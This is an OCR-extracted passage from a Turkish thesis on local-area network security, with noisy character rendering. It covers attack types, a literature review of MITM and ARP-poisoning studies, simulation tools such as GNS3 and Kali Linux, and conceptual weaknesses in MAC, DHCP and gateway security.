1.9. Port Birlestirme

Fiziksel birkag anahtar portunun birlestirilmesiyle tek bir mantiksal hat olusturarak
veri aktarim hizi ve bant genisliginin arttirilmasi hedeflenmektedir. Fakat bu veri
aktarim hiz1 belirli bir noktanin iizerinde olamaz. Veri aktarim hizinin belirli bir sinira
kadar yiikseltilmesinin nedeni birlestirilecek fiziksel anahtar port sayisinin en fazla 8

tane olabilmesidir.
1.10. Coklu Protokol Etiket Anahtarlama

Yonlendiricilerin farkli VLAN’leri haberlesmelerini geleneksel VLAN veya tek hat
yontemini kullanilarak saglamaktadir. Bu yontemler VLAN sayisinin fazla oldugu
yerel alan aglarin maliyeti, Kullanilabilirligi ve hattin performansi olumsuz

etkilemesinden dolayi tercih edilmemektedir.

MPLS ( Multi Protocol Lable Switching - Coklu Protokol Etiket Anahtarlama )
teknoloji olarak bilenen 3. katman anahtarlama cihazi, etiket anahtarlama yontemin
kullanmas1 ve anahtarlama sirasinda donanimin da isin i¢ine katiliyor olmasindan
dolay1 anahtarlama kapasiteleri yonlendiricilere gore yiiksek olmaktadir. Bu nedenle
3.katman anahtarlama cihazlar1 yerel alan aglarinda hiz ve giivenlik saglamasindan

dolay1 yaygin olarak kullanilmaktadir.
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MPLS’in ¢alisma yapisindaki uyumluluk neticesinde 2. katman ve 3. Katman alt

yapilarinda yer alan teknolojilerin bir arada ¢aligsmasini saglamaktadir [21].
1.11. Saldirganlarin Giivenlik Saldir1 Tipleri
1.11.1. Aktif saldir

Bu yontemde saldirgan aktif olarak rol oynamaktadir. Bu yontemi kullanan saldirganin
yakalanma veya tespit edilme ihtimali oldukga yiiksektir. Aktif saldirt yonteminde
tercih edilen saldirilar asagida gibi siralanabilir [20]:

e Taklit

e Yanit

e Mesaj igerigini degistirme
1.11.2. Pasif saldir1

Bu yontemde saldirgan taraf pasif davranmakta ve cogu zaman sadece sistemi gizlice
dinlemektedir. Pasif saldir1 yonteminde tercih edilen saldirilar asagida gibi
siralanabilir [20]:

e Mesaj igeri8inin agiga ¢ikartilmasi

e Trafik analizi

Pasif saldir1 yonteminde saldirganin yakalanmasi aktif saldiriya gore daha zordur.
Pasif saldirinin belirlenebilmesi i¢in saldirinin gergeklesebilecegi sistem {izerindeki
kayitlarin ayrintili olarak incelenerek, olagan dist durumlarin raporlanmasi

gerekmektedir.
1.12. Cahsma ile Tlgili Literatiir Taramasi

Bu tez ¢alismasinin konusu 6zelinde siber giivenlikle ilgili Tiirkiye ve diinyada yazilan
toplam 18 adet tez ve makalelerin 6zetleri agiklanmistir. Yapilan taramalar neticesinde
uluslararas1 yaymlar incelendiginde benzetim temelli siber giivenlik {izerine
caligmalarin yapildig1 ve benzetim yaziliminin énemine yer verildigi ayni1 zamanda

siber saldirilarda benzetim ve sanallagtirmanin entegre edildigi calismalarin yer aldigi
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goriilmektedir. Fakat Tiirkiye’de benzetim ve sanallastirma temelli yerel alan aglarinin

siber giivenlik siire¢lerine iliskin bir ¢alismaya rastlanmamistir.

Ahmet Bozgeyik, 2018 yilinda yaptig1 « Gaziantep’te Faaliyet Gosteren Orta ve Biiyiik
Olgekli Isletmelerin Siber Giivenlik Yénetim Yaklasimlarmim Analizi” konu bashikli
doktora tezinde Gaziantep’te yer alan 128 adet kurumun siber giivenlige olan kurumsal
yaklagimlarinin neler olduguyla birlikte kurumlarin niteliklerine gore siber giivenlige
olan yaklasimlarindaki farkliliklarin bulunmasimi amaglamistir. Biiylik o6lcekli
kurumlarin siber giivenlik farkindalik diizeyleri kiigiik 6lgekli kurumlara gére daha
yiiksek oldugunu belirtmistir. Kurumun kritik birimlerinde ¢alisan personellerin is
degisikligine gitme olasiliginin diisiik olmas1 kurumun bilgi giivenligi zafiyetinin
olusmamasina olumlu katki sagladigimi vurgulamistir. Ayrica kurumun kendi yerel
alan aginda barindirdigi, hem kendi personel bilgileri hem de paydas kurumlara ait
kritik bilgilerin kotii niyetli kisiler tarafindan sizdirilmasi sonucu kurum imajina ve

paydasla olan ticari iligskiye zarar vermekte olacagini belirtmistir [22].

Mustafa Yasir Sentiirk, 2018 yilinda yaptig1 “Giincel Siber Saldir1 Yontemleri, Sizma
Testi Araglart ve Temsili Bir Kurumsal Ag Uzerinde Uygulanmas1” konu baslikli
yiiksek lisans tezinde teknolojinin hizla ilerlemesiyle bilisim suglarini isleyen
kisilerinde arttigin1 bu kapsamda yetismis personel ve dokiiman eksikligini gidermek,
kurumsal alt ag yapisinin saldir1 yapilmadan 6nce sistem lizerinde yer alan zafiyetlerin
onceden tespit edilerek giivenligin saglanmasi i¢in gilincel sizma testi senaryolar ile
ortaya c¢ikan zafiyetlere karsi alinacak korumalarin belirlenmesine olumlu katki
saglamasi agisindan bir rehber olmasini amacglamistir. Siber farkindaligin kurumlarda
ve toplumun tim kesimine yayillmasi saglamak icin bir takim Onerilerde
bulunulmustur. Ayrica sizma testlerinin kurumlar agisindan ¢ok 6nemli oldugu ve
yilda en az 4 kez giivenlik taramasi ve yilda en az 2 kez sizma testinin yapilmasi
gerektigini belirtmistir. Kurumdaki isletim sistemlerinin sanal ortam iizerinden
calismasi, yerel alan ag saldirilarin1 yapmaya yonelik art niyetli kurum personelinin

yapacag1 bir ¢ok siber saldirinin etkisiz hale gelecegini belirtmistir [23].

Mevliit Biiyiikkilig, 2018 yilinda yaptig1 “Cybersecurity Framework For Small and
Medium Size Enterprises” konu baglikli yliksek lisans tezinde bilgi gilivenligi

farkindaliginin 6nemi belirtilmis fakat tek basma yeterli olmadigina yer verilmistir.
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Farkindalik ¢alismalarindan sonra gelen siber glivenlik uygulama ¢aligmalar1 kurum
acisindan 6nem kazandigi ifade edilmistir. Biiylik 6l¢ekli firmalarda saldirt tespit ve
onleyicilik konusunda rehberlik eden uluslararasi standartlarin uygulanmasi
gerektigine deginmistir. Fakat kiiclik Olgekteki firmalarin kaynak yetersizligi ve
burada faaliyet gosteren bilgi islem personellerinin siber giivenlik alanindaki bilgi
diizeylerinin yetersizligi nedeniyle uluslararasi standartlar1 uygulamayacaklarini
vurgulamistir. Hem kaynak problemini ortadan kaldiracak hem de bilgi islem
personelinin de kolay anlayabilecegi bir siber giivenlik modelinin gelistirilmesi

amaclanmistir [24].

Mustafa Kara, 2018 yilinda yaptig1 “Endiistriyel Nesnelerin Internetinde Hizli ve
Giivenli Veri Iletisimi” konu baslikli yiiksek lisans tezinde endiistriyel cihazlarin
iletim alt yapisinda yer almaya baglayan nesnelerin interneti teknolojisi ile agda
gerceklesen islemlerin giivenlik riskleri artmis ve bu risklerden 6nemli olanlardan biri
olan ortadaki adam saldiris1 sonucundaki sensorlerden gelen verilerdeki degisikligin
olup olmadigini tespitini saglayan giivenli bir yazilim tiretmistir. Bir diger amaci,
saldir1 sonrasi sensorlerden gelecek yanlis bilgilerin engelleyerek yol agacagi sorunlari
ortadan kaldirmaktir. Kurulan yapidaki farkli sensor sayilar1 g6z 6niinde bulundurarak
dogrulama mekanizmalarindan olan MD5 (Message-Digest Algorithm 5 - Mesaj Ozet
Algoritmas1 5), SHA-1 (Secure Hashing Algorithm-1— Giivenli Ozetleme Algoritmasi-
1) ve SHA-256 yontemleri ile iirettigi yazilim arasindaki hiz performans farklari
Ol¢iilmiistiir. Yapilan testler sonucunda Onerilen yontemin hem veri biitlinliigliniin

korunmasi hem de hiz performans 6zelligi daha iyi sonuglandigi ifade edilmistir [25].

Bhargav Pingle, Aakif Mairaj ve Ahmad Y. Javaid, 2018 yilinda yaptiklar1 “Real-
World Man In The Middle Attack Implementation Using Open Source Tools For
Instructional Use” konu baslikli ¢aligmalarinda siber giivenligin WiFi ve Bluetooth
gibi kablosuz aglarda daha 6nemli hale geldigini ifade etmislerdir. Siber diinyanin bir
cok saldir1 karsisinda savunmasiz oldugunu bunlardan birinin de MITM (Man in the
Middle — Ortadaki Adam) atagimin oldugunu ve caligmalarinda agik kaynak OS
(Operating System — Isletim Sistemi) olan Kali Linux’te ettercap aracini kullanarak
gerceklestirilen ataklar1 incelemiglerdir. Ayrica son kullanicilarin  saldirganlar

tarafindan ¢ok tercih edilen siber saldirilara karst kendilerini korumalar1 ve
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farkindaliklarmin yiiksek olmasi gerektigi vurgulanmistir. Farkindaligin artmasi igin

onerilerde bulunmuslardir [26].

Parinya Ekparinya, Vincent Gramoli ve Guillaume, 2018 yilinda yaptiklar1 “Impact of
Man-In-The-Middle Attack on Ethereum” konu baslikli ¢alismalarinda herkese agik
blok zinciri ile kurumsal 6zelligi barindiran ethereum yazilimmin hem giivenlik
acikliklarimi hem de oOnemli o&zelliklerini listelemislerdir. Kurumsal ethereum
yontemine BGP protokoliiniin agiklarinin koétiiye kullanarak yapilan saldirida elde
edilen basar1 ile herkese agik ethereum’a yapilan ARP sahtekarlig1 saldirisinda elde

edilen basar1 ayn1 oldugu sonucuna varmislardir [27].

Ertugrul Basaranoglu, 2017 yilinda yaptigi “Kurumsal Aglardaki Windows
Ortamlarina Saldirilar ve Sikilastirma Y ontemleri” konu baglikli yiiksek lisans tezinde
etki alani, yerel alan aginin merkezinde yer almasi ve yonetiminde aktif rol oynamasi
gibi nedenlerden dolay1 kotii niyetli kisilerin hedefine gireceginin vurgusu yapilmistir.
Sizma testi i¢inde yer alan etki alan1 sizma testleri i¢in 6zel hazirlanan Microsoft etki
alan1 s1izma testi metodoloji ile diger metodolojiler arasindaki farklari incelemistir.
Yazarm sundugu metodolojide etki alania yonelik yapilacak saldira karst hangi
savunma tekniklerinin kullanilmasi gerektigini benzetim senaryolar ile gostermistir

[28].

Kemal Hajdarevic, Adna Kozic, Indira Avdagic, Zerina Masetic ve Nejdet Dogru 2017
yilinda yaptiklar1 “Training Network Managers in Ethical Hacking Techniques to
Manage Resource Starvation Attacks using GNS3 Simulator” konu baslikli calismada
tecriibeli calisanlarin ag yonetimi, siber saldirilar gerceklesmeden once proaktif
eylemleri gerceklestirdiklerini vurgulamiglardir. Yerel alan agdaki sistem giivenligini
sikilagtirmadan sorumlu yoneticilerin ve dgrencilerin deneyim kazanmalart igin test
becerilerini gelistirmelerini saglayacak simiilasyon temelli bir egitim Senaryosu
hazirlamiglardir. Bu egitim senaryosu ile DDOS (Distributed Denial of Service -
Dagitik Hizmet Engelleme) saldirisinin etkilerini ve belirtilerini tecriibe etmeleri ve
olas1 gergek saldirilara hazirlikli olunmasin1 amaglamislardir. Ayrica beyaz sapkali
siber giivenlik uzmanlarinin 6grenme deneyimlerine deger katmak ve hazirladiklar
gercek saldirt senaryolarin yer aldigi dokiimanlardan Ogrenmeleri sayesinde

tecriibelerinin artacagini belirtmislerdir [29].
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Rajneet Kaur Bijral, Alka Gupta ve Lalit Sen Sharma, 2017 yilinda yaptiklart “Study
of Vulnerabilities of ARP Spoofing and its Detection Using Snort” konu baslikli
caligmalarinda kurumlar, bilgilerin yetkisiz kisilerin eline gegmemesi i¢in biitgenin
onemli bir kismini giivenlik i¢in ayrilmasi gerektigini ve saldirganlar aga s1zip yetkisiz
erisime sahip olmak i¢in ag uygulamalarinin giivenlik aciklarindan yararlanilarak
yapildigini vurgulamiglardir. Bu giivenlik agiklari, zayif uygulama kodu veya tasarim
nedeniyle ortaya ¢ikmaktadir. Bu c¢alismada, ARP Zehirleme gibi bir tiir tasarim
diizeyinde giivenlik agig1 tartisiyor olacagiz. ARP Zehirleme saldirisini temel alarak
Tarayic1 Istismar1 ve Oturum Calma saldirilart kullanilmistir. Yerel alan aglarina
yapilan saldirilarin tespitinde kullanilan ve agik kaynak kodlu Snort ile ARP Zehirleme
tespit etmek i¢in kullanmiglardir. Snort yazilimi, aga giren saldirganin MAC adresini
tespitini yapar ve bu MAC adresi tarafindan paket gelmesini engellendigini
vurgulamuslardir. Ayrica Snort yaziliminin, yerel alan agdaki cihaz sayisindaki artigtan

etkilenmeyerek saldirt tespit edebildigi sonucuna varmislardir [30].

Jabrayil Alizada 2016 yilinda yaptig1 “Kablosuz Yerel Alan Aglarinda Giivenlik ve
Saldir1 Yontemleri Yiiksek Giivenlikli Kablosuz Yerel Alan Aginin Tasarimi1” konu
baslikli yiiksek lisans tezinde farkli ¢alisma birimlerinin yer aldigi 5 katli bir kurumun
kablosuz yerel alan aga gerceklesme ihtimali olan siber saldirilara karsi giincel
giivenlik konfigiirasyonlarmin ve ag cihazlarinin haberlesmesi i¢in gerekli
komutlarinin yer aldig1 bir agin tasarimini Huawei firmasi tarafindan gelistirilen eNSP
(Enterprise Network Simulation Platform — Kurumsal Ag Simiilasyonu Platformu)
V1.2.00.380 siirlimii olan ag benzetim programi araciligi ile olusturmustur. Kullanilan
benzetim aracinin iicretsiz olmasi, simiilasyon destegine yer vermemesi ve sanal
olarak kullanilmas1 nedeniyle giiniimiiz teknolojilere gore bazi eksikliklerin
olabilecegini ifade etmistir. Agin tasariminda kullanilan benzetim yazilimin en 6nemli
eksikligi AC ve FW cihazlarinin komut satir1 ile yonetmede bazi problemler ile

karsilasildigi vurgulanmigtir [31].

R.Mohtasin, P.W.C. Prasad, Abeer Alsadoon, G.Zajko, A. Elchouecmi ve Ashutosh
Kumar Singh, 2016 yilinda yaptiklar1 “Development of a Virtualized Networking Lab
Using GNS3 and VMware Workstation” konu baslikli calismalarinda bilgisayar aglar

egitiminin yapildig1 laboratuvar ve smiflarda verimli bir 68renme ortami
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saglayamadiklarini bu nedenle bilgisayar aglari egitiminin GNS3 benzetim programi
tizerinden egitim alan {iniversite Ogrencilerine gercek ag ekipmanlari iizerinde
uygulama yapma firsati sundugunu ifade etmislerdir. GNS3 ile diger ag benzetim
yazilimlar1 arasindaki avantaj ve dezavantaj durumlarn ile calisma farkliliklarini
vurgulamiglardir. Caligmalarinin amaci sanal laboratuvar yaratmak oldugunu ve
Ogrencilere bu yontem ile gercek ag teknolojilerine ulasabilme firsatin1 saglamak
oldugunu ortaya koymuslardir. GNS3 benzetim programi bir adet fiziksel bilgisayar

ile ¢alisacagi i¢in ucuz ve ulasilabilirliginin kolay oldugunu ifade etmislerdir [32].

Matej Plch, 2015 yilinda yaptig1 “Practical Man-in-the-Middle Attacks in Computer
Networks” konu baglikli lisans tezinde MITM saldirisi, halka agik kablosuz aglari
kullanan kullanicilarin gizliligi i¢in gercek bir tehdit olusturacagi ve saldirgan
tarafindan isletilen kablosuz erisim noktalarinin riskleri vurgulanmistir. MITM
saldirisi i¢in sahte AP’lerin kullanim yontemleri, sahte AP (Access Point — Erisim
Noktasi) olusturmak icin gereksinimlerin neler oldugunu, saldirilara karst alinmasi
gereken tedbirleri ve kurbanlarin bu sahte aga baglanmaya nasil ikna edilebilecegini
aciklamistir. Saldirgan, kurbanin SSL/TLS (Transport Layer Security — Aktarim
Katmani1 Giivenligi) korumali iletisimini tehlikeye atmak ig¢in hem saldiri hem de
savunmada kullanilan yazilim araclar1 hakkinda bilgiler vermistir. HTTPS’in giivenlik
testi yapilmistir. Ayrica HSTS (Hypertext Strict Transport Security — Siki Metin
Tagima Giivenligi) teknolojisinin Kkullanilmasi sayesinde internet tarayicilarinin
giivenliginde iyilestirmeler oldugu vurgulanmistir. Sahte SSL sertifikalarin glivenlik
anlaminda problem yasattigin1 somut 6rnek olay olan Lenova diziistii bilgisayarlarinda
yiikli gelen Superfish yazilimi lizerinden aciklamalarda bulunmustur. Uygulamali

boliimde ise saldirt araglarinin basarisi ve etkisi degerlendirilmistir [33].

Mustafa Meral, 2015 yilinda yaptig1 “ Siber Giivenlik Kapsaminda Kritik Altyapilarin
Korunmasinin Onemi” konu baslikl1 yiiksek lisans tezinde siber saldirilar arasinda
SCADA (Supervisory Control And Data Acquisition - Uzaktan Kontrol ve Gozleme
Sistemi) sistemleri saldirganlarin 6ncelikli hedefleri oldugunu belirtmistir. Kritik
altyapilarin siber giivenligini koordine edebilecek merkezi bir otoritenin eksikligi
vurgulanmistir. Bu kapsamdaki korunmaya yonelik olumlu katki saglayacak olan

farkindalik ¢aligmalarina, Tirkiye ve Diinya’da yasanan siber saldirilara ve iyi
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orneklerin incelenmesine yer vermistir. Kritik altyapilarin siber saldirilar karsisinda
korumasiz kalmast durumunda, ulusal giivenlik ve kamu diizeninin engellenmesine
vurgu yaparak ve kritik altyapilarin dahil oldugu siniftan daha 6énemli ve kapsamli

olmas1 gerektigini ifade etmistir [34].

Prema Arote, Karam Veer Arya, 2015 yilinda yaptiklar1 “Detection and Prevention
Against ARP Poisoning Attack Using Modified ICMP and Voting” konu baslikli
calismalarinda ARP zehirlenmesi i¢in dnemli nokta olan LAN (Local Area Network —
Yerel Alan Ag)’da MITM ve DOS ataklari konularini islemislerdir. Calismada
Onerilen tespit mekanizmasinda baslangigta ag tizerindeki trafik CS (Central Server —
Merkezi Sunucu) tarafindan kesilecegi ve sonrasinda CS tuzak ICMP (Internet Control
Message Protocol - internet Kontrol Mesaj Protokolii) ping paketini gonderecegi, geri
gelen ICMP’nin cevabinin analiz edilerek ve saldirganin basarili bir sekilde tespit

edilecegi ifade edilmektedir [35].

Nikhil Tripathi ve BM Mehtre, 2014 yilinda yaptiklar1 “Analysis of Various ARP
Posoning Mitigation Techniques: A Comparison” konu baslikli calismada ARP,
bilgisayar iletisimi ile ilgili temel ve en sik kullanilan protokollerden biridir. LAN
icinde, ARP Mesajlar1 IP adreslerine karsilik gelen MAC adreslerini ¢6ziimlemek icin
kullanildig1 ve bu protokoldeki bazi sinirlamalar1 nedeniyle savunmasiz kalacag:
ifadesine yer vermislerdir. ARP’in en belirgin iki 6nemli sinirlamalart kimlik
dogrulama yontemi kullanmamasi ve durumsuz tablo tutmasidir. ARP zehirlenmesi,
temel saldirilarin en baginda gelir ve daha yiiksek seviyeli saldirilar1 baglatmak igin
kullanildigin1 belirtmislerdir. Literatiirde, bunlari tespit etmek ve dnlemek i¢in birkag
¢Ozlim Onerilmistir. Ancak, Onerilen ¢oziimlerin tiimii bir dereceye kadar siirlidir.
Baz1 ¢oziimler 6zel senaryolarda etkiliyken, digerleri farkli bir gruba hitap eden
senaryolar i¢in uygundur. ARP zehirlenmesinin yeni teknikleri zaman ig¢inde
gelistikge, arastirmacilar yeni ¢Ozlimler Onerecegi bilgisini vurgulamiglardir. Bu
calismada, literatiirde oldukca popiiler olan 6nerilen farkli ¢oziimlerin karsilastirmali
bir analizini yapmiglardir. Onerilen ¢dziimlere smirlama olarak kabul edilen bazi
Oonemli faktorlere dayanarak farkli azaltma tekniklerini karsilastirilmislardir. Farkli
tablolar arasinda karsilagtirmaya hizli bir genel bakis sunan kisa tablo formati da

sunulmustur. Bu karsilastirmali ¢alisma, bir yandan, farkli etki azaltma tekniklerinin
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birlesik avantajlarindan yararlanan ve diger yandan eski kisitlamalar1 tasimayan daha
verimli ve etkili bir sema sunmak ve olusturmak icin kullanilacagi bilgisine yer

vermislerdir [36].

Muhammed Alparslan Akyildiz, 2013 yilinda yaptig1r “Siber Giivenlik Acgisindan
Sizma Testlerinin Uygulamalar ile Degerlendirilmesi” konu baglikli yiiksek lisans
tezinde kurum ag tasarimlarina yapilma ihtimali olan siber saldirilarin ortaya
cikaracagi kotii sonuglar1 ortadan kaldirmak i¢in sizma testinin 6nemi vurgulanmis ve
senaryolar gelistirilmistir. Siber gilivenlik alanindaki milli yazilimlarin 6nemini
vurgulamistir. Bunun igin egitim igeriklerinin yeniden gozden gecirilerek uygulama
agirlikli olmasi, siber giivenlik derslerinin ilkdgretimde yer almasi ve olasi biiytik siber
saldirilara kars1 afet durum plani ¢ikartilarak farkli senaryolar ile benzetim ortaminda

degerlendirilmesi gerektigini ifade etmistir [37].

Gopi Nath Nayak ve Shefalika Ghosh Samaddar, 2010 yilinda yaptiklar1 “Different
Flavours of Man in the Middle Attack, Consequences and Feasible Solutions” konu
basliklt calismada MITM saldirisi, bilisim suglular1 tarafindan kullanilan temel
tekniklerden biridir. MITM saldiris1 ile DoS, DNS sahtekarligi ve port ¢alma gibi
saldirilar1 basaril bir sekilde baslatabilecegini ifade etmislerdir. MITM saldirisi, LAN
ortaminda, Ozellikle de ARP zehirlenmesiyle gergeklestigi yerlerde daha miisait
oldugu vurgulamiglardir. Her tiirden MITM saldirisi, ¢evrimici hesap kullanici
kimligi, parola, yerel FTP (File Transfer Protocol — Dosya Transfer Protokolii)
kimliginin ¢alinmasi, SSH (Secure SHELL Giivenli Kabuk) veya telnet oturumu elde
etme gibi durumlar: incelemislerdir. ARP sahtekarligi ve bir LAN ortamindaki etkisi,
belirtilen amaca ulagmak igin detayli olarak incelenmis alternatif ¢oziim 6nerilerinde

bulunmuslardir [38].

Zouheir Trabelsi ve Khaled Shuaib, 2006 yilinda yaptiklar1 “Man in the Middle
Intrusion Detection” konu baglikli caligmada LAN giivenligi, ag yoneticilerinin uzman
olmast gereken kritik ve zorunlu bir unsur oldugunun altin1 ¢izmislerdir. Ag
giivenliginin, ag1 dis saldirilara ve izinsiz girislere karst korudugu diisiiniildiigiinii
ancak, i¢ saldirilar da dig saldirilar kadar zararli olabilecegini belirtmislerdir. Ag
iletisiminde iyi bilinen saldirilardan biri, farkli ag katmanlarinda paket aldatma

saldirisidir. Bu ¢alismada, sahte ARP paketlerinin kotii niyetli kullanicilar tarafindan,
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kullanicilarin ana bilgisayarlarina yonelik bir saldir1 baslatmak i¢in ag trafigini
yonlendirmenin nasil kullanacagini ele almiglardir. Trafik yonlendirme saldirilarinin

tespitinde mevcut IDS sinirlamalari da tartisilmaktadir [39].
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2. KULLANILAN TEKNOLOJILER
2.1. Cahismada Kullanilan Yazilimlar

Bu calismada yerel alan agi saldirilarinda en ¢ok tercih edilen agik kaynak
yazilimlarindan Kali Linux OS ve GNS3 ag benzetimi ile VMware yazilimi

kullanilmastir.
2.1.1. GNS3 ag benzetim araci

Yerel alan veya genis alan aglarinin ag konfigiirasyonlarinda ve siber giivenlik
uygulamalarinda tercih edilen agik kaynak kodlu ag benzetim aracidir [40]. GNS3 ag
benzetim aracinda, marka bagimsiz gercek 10S (Internetwork Operating System — Ag
Isletim Sistemi) barindiran ag cihazinin calismasini, komut satir1 ile islem yapan
VPCS (Virtual Personal Computer Simulator — Sanal Bilgisayar Simiilatorii) bilesenini
ve VMware sanal isletim sistemlerini bir arada calistirabilmektedir. Bu ag benzetim
araci ile diisiik biitceli fakat biliyiik 6lgekli ag prototiplerinin hazirlanmasi, kurumun
siber varliklarindan biri olan ag giivenliginin siber giivenlik yoniinden incelenmesi
veya ag performans Ol¢limleri gerceklestirilebilmektedir. Benzetim yazilimi ile agin
testi yapilarak ag tasarimlari ile ortaya g¢ikabilecek krizler engellenebilmekte veya
yonetilmesine katki saglamaktadir. Ag benzetim teknolojisinin gelismesinin nedenleri
asagidaki gibi siralanabilir:

e Ag cihazlarimin sayisinin artmastyla kurum biitgesinin olumsuz etkilenmesi,

e Ag tasarimi degisikliginin gerekmesi,

e Karmasik aglarda hata kontrolii ve performans testlerinin 6neminin artmasi,

e Yerel alan agda alinan giivenlik 6nlemleri zaman igerisinde degisiklik géstermesi,

e Ag cihazlarinin yapilandirma ayarlarindaki giincelleme ihtiyaclaridir.

GNS3 ag benzetim aracinin Kullanici ara yiizii Sekil 2.1°de gosterilmektedir. Sekil

2.1’deki GNS3 ag benzetim ara yiiziiniin kullanilmasina ait agiklamalarin yapilmasi
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icin sekil iizerinde numaralandirilmis pargalarin agiklamasi asagida sirasi ile yer
almaktadir.

e | numarali yerden yeni bir proje veya daha eski yapilmis proje yiiklenebilmektedir.
e 2 numarali yerden o andaki ayarlarin kaydedilmesini, topoloji alanindaki tiim
cihazlara baglant1 yapilabilmesini veya port etiketlerinin gosterimi/gizlenmesi islevini
yerine getirmektedir.

e 3 numarali yerden ag cihazlariin ¢alismasini, dondurulmasini, durdurulmasini
veya topoloji alanindaki tiim cihazlarin yeniden baslatilmasini saglamaktadir.

e 4 numarali yerden ¢izim araglarina ulagilmaktadir.

e 5Snumarali yerde cihazlarin agik/kapali ve portlarin nereye baglanti yaptigi bilgileri
yer almaktadir.

e 6 numarali yerde sunucularin listesi yer almaktadir.

e 7 numaral yerden topoloji alanini eklenebilecek aygitlarin listesine erisilmektedir.
e 8 numarali yerden ag cihazlarini birbirine baglayan araca ulagilmaktadir.

e 9 numarali yerde cihazlarda olusacak hata bilgileri yer almaktadir.

(@ Menler - GNS3 a x
File Edit View Contiol Annotate  Tools  Help
a ¢ BEF BB —— e, r
&= & (O B >]|» CFmIIc . @amB)
1 2 3 & | Topology Summary BX
® Node Console
Servers Sumemary &
@ GNS3 WM (GNS3 VM) CPU 0.0% RAM 13.0%
@ SEZERYILDIZ CPU 3.9%, RAM 79.6%
D7
GNSI management console. |
Running GNS3 version 2.1.11 on Windovs (64-bit) with Python 3.6.6 Ot 5.9.1 and PyQt 5.9
Copyright () 2006-2019 GNSI Tachnologies. 9
Usz Help -> GNS2 Dactas Lo detect common ksues <

Sekil 2.1. GNS3 ag benzetim yaziliminin kullanici ara yiizii

2.1.2. VMware

Sanallagtirma, mevcut fiziksel makineyi mantiksal boliimlere ayirarak birden fazla
makine olarak kullanilmasimi saglayan, islemci performansini daha verimli hale

getiren, sanal sistem iizerinde kullanilan yazilimlarin fiziksel makine bagimliligini
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azaltarak fiziksel ve sanal makinede ¢alisan programlarin giivenli kalmasini saglayan

ve harici problemler ile karsilagsilmasini en aza indiren bir yontemdir [41].
2.1.3. Kali linux

Kali Linux isletim sistemi, sizma testi ¢alismalar1 i¢in gelistirilmis bir agik kaynak
yazilimidir. Igerisinde farkli tiirde cesitli sizma testlerini iceren gerekli uygulamalar
barindirmaktadir [42].

2.1.4. Metasploit framework

Metasploit, sizma testlerinde kullanilmak i¢in gelistirilmis i¢inde auxiliary, payload,
post exploit ve exploit modiillerini igeren ve ruby programlama dili ile gelistirilmis bir
giivenlik yazilimidir. Bu yazilim; 1825 adet exploits, 1033 adet auxilary, 318 adet post,
541 adet payloads, 44 adet encoders ve 10 adet nops 6zelliklerini barindirmaktadir. Bu
Ozellik sayilari, yeni zafiyetlerin tespiti, zafiyetlerin somiiriilmesi veya eklenti

yapilmasi durumunda gerekli araglarin yiiklenmesi ile degisebilmektedir.
2.2. MAC Giivenligi

MAC giivenligi 2. katman aglar i¢in bilyiikk bir 6nem arz etmektedir. Kot niyetli
kisilerin ciddi teknik bilgiye ihtiya¢ duymadan agin trafigini askiya ugratmak ve
mevcut verileri calmak i¢in bu giivenligin asilmasi teknikleri kullanilmaktadir. CAM
(Content Addressable Memory- Igerik Adreslenebilir Bellek) tablosunun igerigi,
anahtar portlarinda kayith olan MAC adreslerinden olusmaktadir. Ikinci katman
haberlesmenin giivenligi sahte MAC bilgilerinin CAM tablosuna eklenmesi ile riske
girmektedir. Boylece anahtarin bir gobek gibi ¢calismaya baslamasiyla hem yerel alan

ag glivenligi hem de ag performansi olumsuz etkilenmesiyle sonuglanmaktadir [43].
2.3. DHCP Giivenligi

Genel veya 6zel ag trafiginde haberlesmenin temelini olusturan IP, alt ag maskesi, ag
gecidi ve DNS bilgileri agdaki bilgisayarin talep etmesi ile DHCP servisi tarafindan
gonderilmektedir [44]. DHCP sunucusu DHCP kesif paketinin i¢inde yer alan MAC
adres bilgisine gore IP eslestirmesi ve rezerve islemini gergeklestirmektedir. DHCP

sunucusunun rezerve edecegi IP adres sayisi ilgili agda kullanilan alt ag maskesine
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bagli olup sinirlt sayida olmaktadir. Ayrica DHCP sunucusu bu siirecte kullanilan
paketler i¢in kimlik dogrulamasini yapmamaktadir. Kimlik dogrulamadaki eksiklik

DHCP protokoliinde giivenlik acikligina neden olmaktadir.
2.4. Ag Gegidi Giivenligi

Bilgisayarlar MAC adres bilgisini hem yerel alan agdaki haberlesmelerinde hem de
kaynagin bulundugu agdan farkli bir aga erisilmesi istenmesi durumunda ag gecidine
ulagsmak i¢in kullanmaktadirlar. Bunun nedeni, hedef aga gidilecek rotay1 sadece ag
gecidi cihazinin bilmesidir. Bilgisayar, ag gecidinin IP bilgisini DHCP sunucusundan
ogrendikten sonra bu 6grendigi IP adresine karsilik gelen MAC adresi 6grenme siireci
baslamaktadir. Ogrenme siireci tamamlandiktan sonra ARP tablosuna ilgili MAC
bilgisi eklenmektedir. ARP mekanizmasi i¢inde kimlik dogrulama olmadigi igin kotii
niyetli birinin kurbanin ARP tablosunu yaygin kullanilan araglar yardimiyla
degistirmesi miimkiin olmaktadir. Bu siirecte ag gecidi giivenligi alinmadig: taktirde
kurbandan hedefe giden tiim paketlerin bir kopyasinin saldirgana gitmesinden dolayi

bilgi giivenligi zafiyeti ortaya ¢ikacaktir.
2.5. Son Kullanic1 Giivenligi

ARP ve DHCP protokollerine yonelik gerekli giivenlik onlemleri alinmadigi
durumlarda yerel alan aglarinda bazi giivenlik acikliklar1 meydana gelmektedir.
Bunlarin yani sira, MITM saldir1 temelli olan ¢oklu ve genel yayin adreslerini kullanan
popiiler protokollerin bazilari arasinda NetBIOS (Network Basic Input/Output System
(Ag Temel Giris/Cikis Sistemi), NBT-NS (NetBIOS Name Service — NetBIOS isim
Servisi), LLMNR (Link Local Multicast Name Resolution- Yerel Baglant: Coklu Isimi
Coziimlemesi) ve mDNS (Multicast Domain Name Server — Coklu Alan Ad1 Sistemi)
bulunmaktadir. NBT-NS, LLMNR ve mDNS, bir ag icindeki kaynaklarin isim
¢oziimlemesi yapmak i¢in kullanilan protokollerdir. Bu protokoller DNS protokoliiniin
isim ¢Ozlimlemesi basarisiz oldugunda otomatik olarak devreye girer ve isim
¢oziimleme isini gergeklestirirler. NBT-NS ve LLMNR, Windows isletim sisteminde,
mDNS ise Macintosh isletim sisteminde kullanilmaktadir. NBT-NS, UDP genel
yaymini kullanirken LLMNR ve mDNS, UDP ¢oklu gonderim yaymini

kullanmaktadir. UDP mesajlarinin kopyalanmasimin kolay olmasi ve saldirgan
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tarafindan veri iletim trafigine kolayca miidahale edebilmesinden dolayr son
